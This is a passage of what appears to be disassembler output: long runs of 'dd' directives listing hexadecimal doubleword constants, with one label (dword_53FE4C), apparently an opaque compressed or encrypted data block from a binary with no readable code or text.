dd 6B098C86h, 2EE72B4h, 59CF1A4h, 8CBC5Bh, 0B1739029h
dd 9F895C01h, 13C49CE5h, 7AE4CE60h, 24BE0207h, 0CBB06F60h
dd 13E9C0DAh, 0E58E5A78h, 0F0C03E88h, 2FA6DF15h, 0B4ED1E6Ch
dd 92BBC5C0h, 576C097Ch, 74FA81AEh, 0F28AF909h, 7608D69Dh
dd 25771746h, 64A18811h, 0FACA53B1h, 51E0805Ch, 0C082B63Bh
dd 7C91018h, 789E1B92h, 0CAE600DCh, 0C57371F2h, 9C5AD556h
dd 5CA880D0h, 52722E59h, 0B5FF408Ch, 7402B1C7h, 0DCAB378Fh
dd 0DC377D51h, 0DFD97F00h, 5FB65759h, 2B10F111h, 0F4B98413h
dd 0B90182ACh, 0E1E6556Bh, 42E4E49h, 3F82668h, 2BF7D99h
dd 0E6106931h, 0E45CF3E0h, 445C02D6h, 244CF1B8h, 8B34864h
dd 893BA87Bh, 4CE46Dh, 0ECCC1437h, 84D1B5D6h, 0D396F527h
dd 0A4B258E8h, 1DF2C204h, 64F82ACEh, 25B08224h, 0F43D3C58h
dd 0C2FEA5CFh, 0E4377784h, 4751CA00h, 1419459h, 90285A91h
dd 2EA80DE7h, 1324A84Fh, 0A8B00612h, 0C0E8ADF4h, 437DF6F4h
dd 0E6BEB417h, 23C78804h, 9853421Eh, 0DCFED6B2h, 24A6F617h
dd 3BEDAB0h, 75855700h, 2C1D269Eh, 173618E0h, 0B26329BDh
dd 72DC1F01h, 0BCC05ED1h, 56531984h, 0B88A81Ah, 4DC1BFB5h
dd 0C4E5C074h, 400B9180h, 5019E7AAh, 874705A8h, 0D0A7B610h
dd 8FE80140h, 3ED060FBh, 4A6D7D40h, 0B444A0CAh, 6087E487h
dd 342BF2D9h, 0AA991059h, 4A08C88h, 0AE3C2A5Eh, 70E9129Dh
dd 6E7AA800h, 0B1DECDA1h, 5F4F557Fh, 60F78C88h, 5E77AEAh
dd 2EE144D4h, 6380189Bh, 60D4BD7Ch, 0E444008h, 9DBF0624h
dd 0D606299Ch, 533FD4C4h, 724B8B1h, 58B91C79h, 40E14668h
dd 3A5AF4F8h, 184E4890h, 0A6C95BC6h, 2DC4E00Ch, 562B24EAh
dd 399E40FCh, 0D4E3AAF9h, 5CB37EB5h, 7A5E478h, 846AED6Ch
dd 440E60E7h, 234B790Fh, 5E4BD092h, 56B78BB8h, 20CFDC68h
dd 626BB627h, 70787BB8h, 0D8048231h, 9AE21F1Eh, 603AFB0Bh
dd 17116815h, 7E55D280h, 0FF09ED06h, 619FAE09h, 69D95AF8h
dd 971C927Fh, 20E47065h, 7B2AB960h, 0B32CAD01h, 0DCF9035h
dd 175E8864h, 0B2270925h, 302BF280h, 2E01E0EDh, 1521C69h
dd 58E41E95h, 308E2556h, 7C00F07Ah, 0D0B62D09h, 4079EFA6h
dd 2378B7BBh, 0D8D40A2Fh, 0CEE4097Ch, 0C817BD62h, 0C87A091h
dd 0FDDE42FBh, 1AAEE060h, 2F9E5A80h, 689D4FBFh, 7780A191h
dd 0FD24B97Eh, 0F3BC900h, 59100111h, 5981E9AEh, 90D3BC8Bh
dd 2FF4E130h, 11C3C49Ah, 3F969F9h, 458CE01Ah, 9D069718h
dd 45D1289h, 0AB86DAFCh, 7DE080BAh, 406A9777h, 46743420h
dd 4EE0019h, 4CEF06E3h, 74B900ADh, 59802AB2h, 32D3C62h
dd 0C4906765h, 52CE61B0h, 1DA0207Ah, 40B28AC6h, 32035518h
dd 68AFD9h, 7D850570h, 5AD869A3h, 0AC407A4Ah, 3FF621C4h
dd 0B5AD002Dh, 6AA9FE81h, 0E0760E8h, 0CEFD3258h, 7348A9E9h
dd 0BD7670D4h, 0F9229D02h, 4074598Ch, 2FAA9B3Ch, 504837C5h
dd 908077A7h, 0D39917F4h, 0C27CFCA6h, 0C01A7E7Fh, 803C67B0h
dd 0CD38FC15h, 0DA5902AAh, 57FEC5CCh, 0FA1028C9h, 12C24100h
dd 96B83E13h, 0DDD26051h, 0D7A478B5h, 2F35013Bh, 5A6B4538h
dd 4029EC20h, 2A16FBAEh, 78B06D3Ah, 0C04520E7h, 7A3BB10Bh
dd 0ADD87B94h, 3652F4E0h, 0B41A94A8h, 0F9936F00h, 0A491EB29h
dd 9832D10h, 0B32064D0h, 882EF130h, 6A0F2390h, 69E9DAEFh
dd 5F7C427Dh, 3FB87093h, 0E5B7466h, 2A03007Ah, 74C987BAh
dd 12E53BE0h, 27E2F890h, 4F564280h, 582882AEh, 0B0458CFEh
dd 0DA3B78C9h, 0DBBDC0E8h, 3CD60E10h, 390451A0h, 5CE1AAD7h
dd 1ABFA686h, 0B081381h, 9E30F4F9h, 97D41040h, 22DB9041h
dd 0ACA05DACh, 394300CDh, 0AABF60BEh, 0A4BA0345h, 6CC9CB16h
dd 23F20089h, 4102A311h, 0DA09A87h, 4284DE39h, 0E75D4953h
dd 602CC4F0h, 0B43BD84h, 0CC22B664h, 51857079h, 8B8AE3Bh
dd 0BFF93050h, 0D8542409h, 0A21F17DCh, 0E0A977h, 0FB3530F8h
dd 73B8F7B6h, 64B89E6Ah, 0AC1CE9F3h, 9C6002B0h, 97E0F0CAh
dd 1068035Dh, 0CA9FE8Ah, 7B42261Fh, 0F44A6DD0h, 6BB82008h
dd 6D64F045h, 0AB75367h, 0BCAA31B8h, 16305158h, 0BA05345Ch
dd 50F6A86Ah, 0AC1DB800h, 6244FA7Bh, 61C98007h, 2B70CE3Bh
dd 95EE788Fh, 0C3F1F0F1h, 0F80F5918h, 0A06CE6F3h, 3B573295h
dd 0F07F606Eh, 0BA765273h, 42782297h, 0AAB0185h, 189A6E92h
dd 378CCBC3h, 84FBBEF8h, 0B59BDC01h, 90BB7DD0h, 0DDFCDA6Bh
dd 711F2B00h, 16CA9388h, 0F990BA07h, 49AC64h, 0F97DAD63h
dd 0D617FD5Dh, 0FAB3C413h, 0F9FBECC2h, 76B40070h, 6B485AAAh
dd 83992412h, 0A88870B8h, 0C7C0AB41h, 3CC4CF0h, 0E40B54C4h
dd 1000551Ah, 3A19AE0Eh
dd 19B8A1A5h, 8999BD0h, 0D7218011h, 82B51985h, 27A30177h
dd 32F4C981h, 8954EC6Eh, 4CBB5B03h, 584443h, 0F3752E30h
dd 0E0D9D091h, 0D21AF00Ch, 0C0710898h, 910B9621h, 0A2E23E40h
dd 3F048974h, 573D85F2h, 0B0E15500h, 6F07454Eh, 75F8ED7Eh
dd 0E902F06h, 0AE9C4B68h, 4AE93820h, 180086BEh, 8AF429CDh
dd 1063C5h, 438FEDB3h, 49BA159h, 80346839h, 69792BB9h
dd 6074831Ch, 0EC4C68D0h, 0F10117D4h, 5878C887h, 8A0D84Fh
dd 0CA0E0138h, 0A32CF717h, 841EE4EEh, 29EF5C00h, 0EB12B754h
dd 7AD100D8h, 0AF40B0B5h, 42604581h, 0C18706E9h, 23880E74h
dd 828017E5h, 0C0051F63h, 0BEE14A00h, 2CA381FCh, 0A822FCBCh
dd 7ED9CEB8h, 0FD1E0033h, 0B2528953h, 0D037A24Dh, 0E50C83Fh
dd 7C76F236h, 0FD82185Ch, 0EEA4183Dh, 28F9C520h, 46F4CF1Ch
dd 19B00209h, 31B1A538h, 87D91008h, 2510319h, 305F74F1h
dd 7278E000h, 1C66DE39h, 0F9CAC88h, 87F017D1h, 21FB8C31h
dd 17CB0011h, 26A605F2h, 3F019102h, 1DF83B35h, 0F45159D8h
dd 0F0D389FAh, 3599FDEFh, 8184EAEh, 4C03C28h, 46D9D391h
dd 1492298h, 2891FC95h, 0C26A13C0h, 68409C8Eh, 0C9CCE10Dh
dd 71583C30h, 0F5B39ACh, 0F838D7B0h, 810CF66h, 992180F3h
dd 92885B41h, 79061F91h, 0E9EF03CFh, 0B0A7190Ch, 56691FF9h
dd 16A4B206h, 363954EBh, 94F9FF74h, 0A74A2C00h, 9D66895Bh
dd 8B5F01ECh, 0DB6EA3AAh, 5407E432h, 25CE7C01h, 3D5C9040h
dd 72692C8Fh, 0BF3A5898h, 0BE2F88h, 0E55F2411h, 53408FCh
dd 8B482Eh, 0F5C1971Fh, 33DA39D5h, 0F8A81CE5h, 2B58094Ch
dd 2021043Eh, 22778D27h, 0DD4D0068h, 9B810FF4h, 161C00E3h
dd 7C040C46h, 3F7EA494h, 0D7C8AC02h, 4048C183h, 90D022Ch
dd 529E84BCh, 19FF2091h, 0A5BBB06Eh, 0E32C8148h, 7D19E0DBh
dd 6AF07225h, 11288904h, 2CF8986h, 4CC08718h, 31036228h
dd 3842C913h, 50560B41h, 20CA9BFCh, 8FD9D0F5h, 231C1B48h
dd 9106073Eh, 6208F4D1h, 0FE932046h, 3C0E2D91h, 78749A40h
dd 1009F2F0h, 0D40652BCh, 8C07B8A4h, 3A02790Ah, 5A89E4C8h
dd 3D6154FAh, 2B1D8080h, 0E9358246h, 0A9976200h, 0B793B38Ah
dd 0C1B60A40h, 4038FC54h, 0A537198Dh, 0F229946h, 1984EE00h
dd 836EF659h, 0E30900FCh, 8C12EFACh, 21347BB7h, 2C80D862h
dd 0FE162Bh, 5CE253FCh, 9250BD59h, 0C60349C1h, 70302127h
dd 3ACA1CCFh, 2F384FDDh, 38A0FF89h, 79C8A357h, 99BAD280h
dd 60FC7BFCh, 61FD160h, 7BD6A3F9h, 0A17C702Ah, 0C00AF8C8h
dd 0A52D19AFh, 0D880A943h, 6B281986h, 0A3A53D03h, 0B846444Dh
dd 0FE41B78Fh, 51BF06B5h, 305CE81Ah, 0B8D71D15h, 2EC3BC8h
dd 721EEA2h, 0E7E86077h, 4359C90Dh, 0C42DE091h, 2800671Ah
dd 0ADBD8522h, 0D4B633h, 0F79D65B7h, 0A48F401Eh, 0F350E67Fh
dd 90024190h, 0D1EF0DA2h, 80DFE29Fh, 2E7FC0E8h, 0F1F1F157h
dd 458D2880h, 62124293h, 5902F2EEh, 0CE15A2E3h, 50F4649Bh
dd 44D65C5Fh, 9A01FAABh, 7BD74AA1h, 28BE7C75h, 9F3D60Ch
dd 0CC26F6C8h, 34C078DEh, 46D78D5Bh, 14B32210h, 0C25B3C8Ch
dd 0F7930F00h, 0C3510A97h, 68CDF406h, 0A1C0C1AEh, 0ED1835ACh
dd 2B289148h, 4B11F4D0h, 91059C00h, 5CD4EAF7h, 0D9769913h
dd 0C89A7004h, 0EE4A5401h, 0E450301Fh, 92BC1E54h, 0DF421D00h
dd 595236E7h, 0E09D033Eh, 6ECD8133h, 291F09DBh, 9F80A6C5h
dd 51DF28D3h, 0F6B7564h, 3F80260h, 40071A40h, 4950D8A2h
dd 0AE0AD190h, 642A883Ch, 0F11600D6h, 563206D3h, 0A30A35E3h
dd 0E4F63DE6h, 16E4F206h, 0EB270099h, 0A8B4B941h, 3008D87h
dd 0CF621B90h, 48464B59h, 4CBCF9h, 0B3400C04h, 7264C843h
dd 2DB525Ch, 0F8A3B7D0h, 3CD8497Ah, 0B3002032h, 0B0955A49h
dd 0F800222Dh, 97A15D63h, 0BACEA6h, 0F6BF318Ah, 1D8B4FAEh
dd 0C9406967h, 48813A5h, 54C2123Ah, 8BB060FEh, 0A5213919h
dd 82DCC089h, 0D309619h, 54E48ECFh, 0A2BB02E0h, 17AA2BC0h
dd 2365B4C8h, 6DD0B8A0h, 0D62CA883h, 60BC31A3h, 82433710h
dd 0AD1922E9h, 0C532C0EDh, 7C6E0028h, 760CDA66h, 8205D143h
dd 0BA718872h, 0DBD7B097h, 9C00FC15h, 0F5A56E2Dh, 0BAD4269Eh
dd 47465EF4h, 63254800h, 0BCD21F3Fh, 908DCB1h, 0EF01002Fh
dd 1AF2EC5Bh, 0E6FF4807h, 0E771B42Eh, 48AC2C39h, 41FD12B0h
dd 0E0A39FB4h, 12F1817Ch, 5E5953D6h, 49AC4203h, 11C81D55h
dd 0A69B81C6h, 20ECB81Ah, 4D389051h, 741694A1h, 6E9840D2h
dd 0F362C88h, 0DBBDCE05h, 0C8131AF3h, 0CE87AC08h, 0A2ED17A7h
dd 0F81979A8h, 0C6122180h, 1E722B17h, 1964BD1Fh, 7F78AD84h
dd 90D485C2h, 3CCA3C90h, 1E8341B6h, 0D22DFF62h, 9926AE05h
dd 0D8065606h, 9AC9D944h, 0D1C899F0h, 5171849h, 0A62AA80Fh
dd 0B8A0006Eh, 3F7A7DD1h, 45DBBE02h, 0E753E02Eh, 2EFB4220h
dd 426718h, 0FFF3EE23h, 3D7DC17Fh, 5A159B00h, 8E05729Ah
dd 0FB8C7A0Dh, 0C6D8C980h, 0FA1C211Bh, 0C300B5B0h, 0FE84CD77h
dd 1E8AEBFDh, 1CE3A04h, 0BFB63EFCh, 50E7D764h, 8B5E830Dh
dd 0BCA7ACB8h, 0D9601244h, 0D700EEF5h, 0A9BCEF3Ah, 5022A36Fh
dd 301388E1h, 41581B17h, 0C6252EDFh, 0FAFC00A7h, 216374Fh
dd 90918B93h, 0E069A846h, 0FEF21842h, 0E8D92CCDh, 36072D4h
dd 3067A91h, 5A446199h, 59710E19h, 0B8A047E5h, 413F29CEh
dd 8AC9A2Eh, 8853D182h, 71145969h, 3B2B18F5h, 4D8BBE67h
dd 80243952h, 0E234A2C5h, 44C4300Ah, 803B3899h, 467CA44Ah
dd 723EEFh, 221DE679h, 26D1AD48h, 0AC1BC43Ch, 3698B4C8h
dd 3CAE2E49h, 4E83EBCFh, 0DEA0420h, 8CEA2492h, 0D70FD067h
dd 5851B0EAh, 4F84CE6h, 0D78B5B36h, 0C038B240h, 0D65B3E8Eh
dd 95A10E41h, 29255D6Dh, 0E58DC31Fh, 8230D4BCh, 0F0C7013Ch
dd 0D066C8C4h, 111BB125h, 0B4180568h, 0A52C1909h, 9200E5D1h
dd 8D5800D5h, 9E8F2DADh, 0C7E67005h, 3E859FCFh, 7140FC00h
dd 96F497FCh, 43DA02E0h, 486110EAh, 50A3F851h, 553A4490h
dd 5901B7BDh, 48C60EB2h, 697F775Ch, 3465181Ch, 602F08EEh
dd 0E2718996h, 1C90B360h, 98305EDAh, 48CF4C14h, 402C82CAh
dd 870617D3h, 382CE04Bh, 17CD000Fh, 0EA4EAE6h, 902582h
dd 2B89EC03h, 0B5B613C0h, 52F4C80h, 646F51C6h, 34711AFEh
dd 0C1180359h, 0D657310Fh, 5C82E5DEh, 0EC472489h, 8A52E2C0h
dd 0D3C9FA91h, 0CAC404E8h, 0FB4F0701h, 0B1304D36h, 184DD174h
dd 0CFF7676h, 0BD3A2FFDh, 9A000679h, 0ECC8E3D2h, 0EC3C97DEh
dd 250B01A3h, 71C0B645h, 0C4AC4B69h, 372EF7h, 4E8956Ah
dd 18290602h, 0E49AFD5Bh, 0DB71CBCh, 4A54029Ch, 0B489F63Eh
dd 63DA6C00h, 85000EC5h, 0BFFAD0D7h, 0A0093A2Bh, 0B2B1E780h
dd 0E52612BCh, 11243A4Eh, 76C02EF9h, 75500928h, 5F7ABE00h
dd 41DE3935h, 0FBBD26EDh, 0C8F29304h, 48CC830h, 0D7AF5B3Ah
dd 20B16260h, 0C75B429Ah, 0AC7C8D00h, 0D6B32C64h, 0D98A004Eh
dd 0B038650Fh, 61007D79h, 278707C1h, 3EA61531h, 0A4837F63h
dd 7955E92Fh, 3007E0A3h, 0CFD36475h, 68F82941h, 85480EE3h
dd 0EEE09CCDh, 0E613FDB9h, 217E09CCh, 9CC500A5h, 84C9F491h
dd 0FF005C8Ch, 1D8D0966h, 34DD0E1h, 0BB10437Ah, 6900DD5Dh
dd 0D4286DF9h, 19898462h, 8545A79h, 1F2180EFh, 3A032866h
dd 0DC5D003Ch, 0BA24F2D0h
dd 0C601D255h, 2C91B1A0h, 0E2ED0857h, 1CF40CCh, 702A3A11h
dd 0FC252DCBh, 0E87DC7B5h, 0CDBF04A0h, 0C6683301h, 0BC104408h
dd 86E4848h, 8C62D528h, 2045F3C4h, 40E41D67h, 193D5D9Bh
dd 6C00E6ABh, 96AE69C7h, 0C2C5D8h, 0BC178180h, 0FA0F386Eh
dd 0B701E6F8h, 61D9DF6Ch, 0CC50794Dh, 1D33395h, 342DFEBFh
dd 981DF669h, 0B7218E08h, 7D3002Bh, 9FE244C7h, 105189EBh
dd 0C833F2CCh, 46EE6A9Ch, 37922C9h, 39CC7A7h, 5907894Dh
dd 0E750818Ah, 373B805Bh, 0F463093h, 21ECE4CFh, 0A82AE6C0h
dd 39056DF0h, 0DFF57467h, 0A5028047h, 6E0AA26h, 0F84A5BC4h
dd 0C7076977h, 0E8B634BCh, 0F867DCC3h, 3382489h, 6F6C9239h
dd 9DF2CE60h, 34745C81h, 0E749F0D4h, 0F6D10C91h, 1D002C18h
dd 0FDCDA52Eh, 1A2826Fh, 0C1247627h, 20C64C42h, 6760AAAAh
dd 34CB6F70h, 0F0270197h, 1B1F3B70h, 0B600204Eh, 2868048Ch
dd 625C62CFh, 611A21F4h, 0DE50C828h, 0BDFFE602h, 905EE82Ch
dd 6F8C390h, 0CA360D6Ch, 0D881E96Bh, 8D3182Fh, 0E9EE6E9Ch
dd 0CBAB70h, 32F0DC9Ch, 7D0D14BBh, 601CC230h, 0EE3D7D9h
dd 0DFD28F37h, 0A5160140h, 9A39E025h, 5FD99228h, 0D3313060h
dd 1DFE23BDh, 0B5008A11h, 0D54ED329h, 58A09EE8h, 7A30FA6Eh
dd 0F89A7836h, 0D15C9169h, 7BB1889h, 4707406Dh, 10B497F7h
dd 3D3B5031h, 0C064A8C8h, 0FEC2D336h, 8C224546h, 0D32EBA00h
dd 3B81EC32h, 0AFF61DCBh, 43CDC93Fh, 0EE91E017h, 99789F80h
dd 3139702h, 24016CB8h, 0DAF9ED1Fh, 62F028B2h, 10D33430h
dd 0E035FEC0h, 1AD32CB8h, 69E12EFAh, 0F311689Dh, 57D39580h
dd 8609BAC8h, 10F97408h, 48CD642Ch, 1702DC3Ah, 31C6FA8Eh
dd 0D15CD083h, 0F8CB173h, 0FEC3D337h, 0BBE0A854h, 8600D32Fh
dd 0F0730852h, 0C0255F2Ah, 74E91450h, 1062D8FBh, 481FC178h
dd 7F33863Ch, 412B0066h, 50F390A3h, 0BA1F51D0h, 93045EEEh
dd 7406756Bh, 38F069FAh, 4EF17600h, 6C56C6E9h, 0D814629Bh
dd 0AE1010A0h, 0BB083A5h, 482362Bh, 6C60BAA0h, 6223D328h
dd 39F2117Ch, 6028801Eh, 626D05E9h, 0BC6B486Fh, 0D00F2C23h
dd 0D1EE849Ch, 0A8207B62h, 0F8E29CC8h, 0C5650C1Bh, 90988636h
dd 0E8443829h, 0D518F179h, 63D9FB01h, 6D441698h, 0EB1E6885h
dd 0DF9049BDh, 4A008437h, 4E98B1F1h, 6024A9A2h, 0D3083218h
dd 0C425FEBEh, 2AB6408Fh, 3810D3h, 0C0A31B3Ah, 1559B8Eh
dd 1A129A74h, 8C1C0EE3h, 0D8249D1Fh, 38806691h, 55FEC4D3h
dd 0BCC05CB1h, 709AD330h, 0F931005Ch, 229B2B41h, 84B0E7DBh
dd 9514A0FCh, 4B07A66h, 868F16F8h, 6971D0C7h, 36A435F0h
dd 63D44088h, 8005805h, 3F879023h, 7042A11h, 0B7F26B2Dh
dd 0E0A857B2h, 6D96F6C4h, 1538705Ch, 11B86CDFh, 74147DEAh
dd 9E62105Fh, 8848F75h, 217C856Fh, 0D398E8B8h, 0FA888104h
dd 4C8233A6h, 21E8C53Ah, 188C71BCh, 85791BDEh, 40E470D8h
dd 0B2EA9969h, 658DCFFh, 816DF8CCh, 66DAF100h, 12D0375Bh
dd 0A8E4B1EAh, 8AC00002h, 25A88535h, 3D07AC5Ah, 1C04F842h
dd 0A53A6191h, 406FF020h, 0C5EA3740h, 91F8F55Ah, 18C2CF0Ch
dd 0B40795E9h, 7F8F7DFh, 4E71BCF0h, 4B69C087h, 0A326B3D6h
dd 0DC486338h, 551F0E0Dh, 0C2E7A23Ch, 7A984043h, 834D8078h
dd 75CD39C0h, 0B03AF6h, 0ECFAE418h, 2C55AF4Ch, 347A3931h
dd 818013C1h, 3238BD2Fh, 0DDE4A999h, 25099066h, 0B54F0021h
dd 22567038h, 5490D301h, 98E23328h, 79967E0Ah, 143AE497h
dd 872CCB65h, 991738C3h, 472BC468h, 67F0BB55h, 7892C0h
dd 4D27D01Fh, 5D5391BDh, 0A834B51Dh, 0D4ED15h, 0CCCA8ECEh
dd 0E8959E7h, 0BE5537Fh, 0EB6AB20h, 0C3F0F7D7h, 513097E0h
dd 0EE6D9068h, 179F280Ah, 15C130C0h, 877BBF79h, 7457FA0Bh
dd 0ADB098F6h, 8A4ABBAh, 7D4D8F48h, 6D3CF805h, 8C2A28C8h
dd 699CCE04h, 0A638C1EEh, 5E9CC601h, 1DBF02EEh, 5C9B3F00h
dd 0B096FF3Bh, 0F00B6069h, 46749836h, 286A02B8h, 0E76C62D1h
dd 631C0088h, 0A7030D28h, 0E99F001h, 0DE60DD32h, 74F8D910h
dd 26B089C0h, 7ACF1469h, 82500DAh, 0D07710DEh, 8905A0Dh
dd 0BF02C746h, 0B9993438h, 51102331h, 0B80F38B7h, 929AEA9Dh
dd 68840405h, 0B9CEB020h, 78B419AFh, 101018F5h, 79D5BC5Fh
dd 0D3B7012Fh, 0FEF56F3Ah, 2281E996h, 20A7620h, 0C4A89ECDh
dd 37FAEE0Eh, 0A83AC44Dh, 0B2E0E476h, 0D2FA9048h, 188E0C48h
dd 0F260A00Eh, 59FD74FAh, 0B7237C11h, 0D0286901h, 0F5186462h
dd 28F41B89h, 687F00C4h, 5CC644FFh, 0E9090A5Ah, 0EDC63CEh
dd 99F8C38Ah, 22C81015h, 2A293D1Ah, 4A00CC76h, 0A5535A14h
dd 0CE9CCCh, 0A2D703E7h, 0FF6204EAh, 0CB016300h, 0FD79EE6Eh
dd 64433C90h, 84C11194h, 2480B24h, 0A4C29D62h, 1320E4C4h
dd 60F0982Bh, 12F2199Ah, 107CAA15h, 57CEE801h, 71F9AD75h
dd 95B78981h, 0DC1F3B69h, 8E00A527h, 6429235Ah, 0BA1EBEFBh
dd 0E450A50Ch, 92D960F6h, 0C4E00072h, 862A59E2h, 0E62A1EF0h
dd 0FE09D07Bh, 2275098Eh, 37E18B4h, 2100764Dh, 93FD5AD2h
dd 0C917857Dh, 0C03030F0h, 6F119CD4h, 7D88F1EEh, 0ACAC94h
dd 4C352F9Dh, 0DF814E9Bh, 0AB220059h, 0D422E9Eh, 8B24104h
dd 0F7C2F08Ch, 592472CDh, 184C6035h, 1D10D010h, 5640C097h
dd 0EB029B1Dh, 0A08090EEh, 807D3D64h, 764A4890h, 77346800h
dd 2EB4F6C7h, 1AD0EAE4h, 0A804492Ch, 286760B5h, 546223CEh
dd 1900ED11h, 5D2B2860h, 7C512DCDh, 0E184F188h, 1E00D21Bh
dd 54C36C1Ch, 28680862h, 541895A1h, 12968C66h, 0C22C6B32h
dd 0F8234A70h, 1421016Ah, 0D05F6717h, 6BD8CC3Ch, 0B049214Ah
dd 0C6D404D9h, 8BE18D8h, 0B1993338h, 504027C4h, 0B0EE38B6h
dd 8C3BE900h, 0F0934B91h, 2C60481h, 0C87A8577h, 2CA4CC00h
dd 3938C40Fh, 56E0D099h, 0E90038BCh, 3F29B969h, 12748891h
dd 0DB640FD8h, 489F8174h, 0C000F04Fh, 0DC7E4685h, 84B7EB00h
dd 6BC40798h, 15A4949Dh, 8C53E42Dh, 4030F3A2h, 0A77204B0h
dd 0A3A11E58h, 0C51276C0h, 400EA2CEh, 7000DFF5h, 6A2FD0BBh
dd 0A8414C6h, 3106CD9Bh, 0C1804E60h, 4B0717FEh, 15C9998Dh
dd 0A034D1A0h, 2B2A2E66h, 14C292A0h, 539F0CF2h, 2E68C28Ah
dd 0B09CD230h, 0A8E1499Ch, 0AA808188h, 2CDE9CCAh, 326179Bh
dd 5B2E0208h, 849DE64Bh, 3D80F511h, 6456B185h, 0ABC7EF0Fh
dd 3EA56274h, 0E1808E9Ah, 0D6F4D32Ch, 8AA2FC33h, 258C2730h
dd 0A41DC5E8h, 0E6809211h, 8DFBB2D4h, 5BCAE901h, 1694266Bh
dd 9C4C8423h, 2D8C2CB8h, 0EED64756h, 6F8F033Ah, 0E0F0057Eh
dd 1F29B3Ah, 6CB801DAh, 0D2F9D1D5h, 0D411BCA1h, 8779CC2Bh
dd 0C60971E0h, 6514C236h, 607DE4B4h, 417BFC5h, 6CCB9120h
dd 0F208A2BCh, 58D3027h, 0D2F2F606h, 706170F9h, 0EBC900E5h
dd 0C38D59E4h, 3AF8A535h, 0EC59C0A2h, 0FC198B71h, 391278C2h
dd 0D0804EEAh, 9EA32A08h, 7E465EECh, 7159410Fh, 7425BDBCh
dd 0FA984090h, 0BC091E28h, 31266FF8h, 0C8444872h, 3538C060h
dd 448C997Ah, 0B8395229h, 2CBE8138h, 7D5732BBh, 900C7871h
dd 0E57C00B1h, 797E38AEh, 0B0003588h, 0B236845h, 178FA8FCh
dd 8B1089D6h, 0C07DC800h, 7B8D743Ch, 6780F1A3h, 0C8C07E9Dh
dd 0BFD7349Ah, 32F02580h, 0BD7D1B01h, 0BC686C81h, 8C008C82h
dd 32937E62h, 3818393Ch
dword_53FE4C dd 971672C3h, 758041ADh, 6D526723h, 0F8592204h, 995418E6h
dd 1AA38878h, 71D09A82h, 188D59A4h, 0F8A4EAC8h, 6E7615EFh
dd 0C927E839h, 53E688A0h, 730B68EDh, 9DD3648Bh, 807C1120h
dd 168C0A1Ch, 0DD6E1DCEh, 992481B4h, 258F9194h, 0BC0C28C4h
dd 0A7028C7Ch, 1F831B06h, 88E4EBh, 0C198B0F6h, 5D7010C9h
dd 2F5A8525h, 0D84012A0h, 9F12EE66h, 60A0A219h, 94A32291h
dd 0B1A000C4h, 90CC6FCEh, 0FEBD5202h, 8A8A8966h, 8507C48Ch
dd 1FAB9161h, 802911E4h, 0C936E8B4h, 0E78403DEh, 1ED1D0F6h
dd 58991E7Ah, 4DE4C24h, 0AE63B32Ah, 3D9CE05Ah, 39993080h
dd 0E06106F2h, 3CD15CD4h, 8C8DE8BCh, 3CFDC801h, 0E55ECEE4h
dd 0EA0B4464h, 3DCC013h, 7DECE085h, 41B2C3A1h, 7DA60CCh
dd 6AC98F01h, 25F17024h, 1897444Eh, 0C980F211h, 1FC48CACh
dd 261706E0h, 8611E87Ah, 0E8C84C9Ch, 36008C80h, 0EB2A5DE2h
dd 4B1F90A3h, 3EFC40F9h, 95DB158Eh, 0A0B0FE00h, 861AB27Dh
dd 32F51DB9h, 0E13891Bh, 8B617C90h, 28229A80h, 0CEB8F1C7h
dd 974BC5D0h, 9563C848h, 109B5631h, 0C28A9A2h, 0A45F841Fh
dd 0C3618214h, 90E6285Eh, 4656F4B6h, 0FC038F2h, 85822ECFh
dd 208E259Ah, 45C09288h, 0CFF6Dh, 0A5460E5Ch, 94E2D144h
dd 0C0A34233h, 0E8B426F0h, 7F467484h, 6AEF5800h, 0E8E5FEBCh
dd 2C036402h, 40232AFBh, 3E37725Ch, 9298CDC9h, 34CB3969h
dd 0F0328C02h, 0A017C235h, 3C9AA298h, 0B8D714ECh, 0F578B067h
dd 88ACF604h, 8C56BDCBh, 84BE28E0h, 0C5183000h, 31E3AA0Ah
dd 54954BD9h, 7CE8447Ch, 0D4120B8Ch, 5C98A270h, 0E007D0BBh
dd 883C1DA4h, 0E4D31A81h, 0C0682C21h, 258C89BCh, 44A05E4Fh
dd 461AF861h, 907CE090h, 819E360h, 247EC44h, 9DD38838h
dd 88C06FBAh, 7C405D77h, 80D09EF8h, 3F3395A1h, 0E500F3CFh
dd 85D1FCB3h, 175C9F0h, 39122E5Fh, 76C60AE6h, 3028E20Ch
dd 740536F4h, 0F5C41C62h, 8BF21CF2h, 2D5E7D30h, 0B4357A6Eh
dd 0D86A6687h, 851C1490h, 117F05BFh, 0D9DAFAh, 0CF9FF6C8h
dd 10B69044h, 0E2A4674h, 61C76352h, 0CBB89C2Bh, 40921C30h
dd 0F0B1619Fh, 0D6188FD1h, 6774A400h, 1FBC2759h, 44702724h
dd 0F6119C17h, 130DF180h, 0EA005CA4h, 2D380968h, 4EBF229Bh
dd 0E1E045FFh, 0B264B369h, 24AB3028h, 0C1FDC702h, 5C0474C5h
dd 0A56282E8h, 84838C6Eh, 0E100854Eh, 7088DC16h, 76896096h
dd 547F8Bh, 0AE5FF620h, 1B9EFAEEh, 8508DC96h, 0F076005Ch
dd 0BEAD636Dh, 48B6109Ah, 8F2EF940h, 221C0023h, 11C3E1E4h
dd 0D201E777h, 0EC4BFFB9h, 6B01296Ch, 9B380024h, 78BCBB26h
dd 601C7DA5h, 0DED3A636h, 26C80CCFh, 6E9BC4C0h, 0CD020CD3h
dd 74D879CAh, 5A00152h, 80E2CCDCh, 60FED8A4h, 0CE3FC013h
dd 2A00112Bh, 2D4BF070h, 72692476h, 0FEC6099Bh, 649D33DDh
dd 73827B11h, 344056FBh, 0DB44F774h, 0CF012C64h, 0F0467668h
dd 4DDD1B00h, 5D6EFF58h, 9C02E89Ah, 0BBEC5AEAh, 44E4676Ch
dd 0CFC7648Dh, 71889F00h, 4B6AEE5Dh, 88448BDFh, 770DC08Fh
dd 687CF16Bh, 1A9BA21Eh, 0C020717h, 41036505h, 5010EAB8h
dd 7E1F4199h, 0F3C0C2DCh, 6F1EE88Bh, 9093045Bh, 0AC96E944h
dd 0DA018448h, 0A2A03744h, 307FF2C0h, 0C91FBBE5h, 9096479h
dd 0D1C47944h, 2E041880h, 8B7942h, 41C5AA2Bh, 864E2F2h
dd 608EDFE8h, 0D5C028C8h, 1698FBAh, 0B42443F4h, 60E1F867h
dd 80404918h, 41E94A1Eh, 956E7EF0h, 2002482h, 2673B121h
dd 8A465C88h, 0D8BEDD05h, 4AD4B7E3h, 0EDC8988Ah, 0E6123C7h
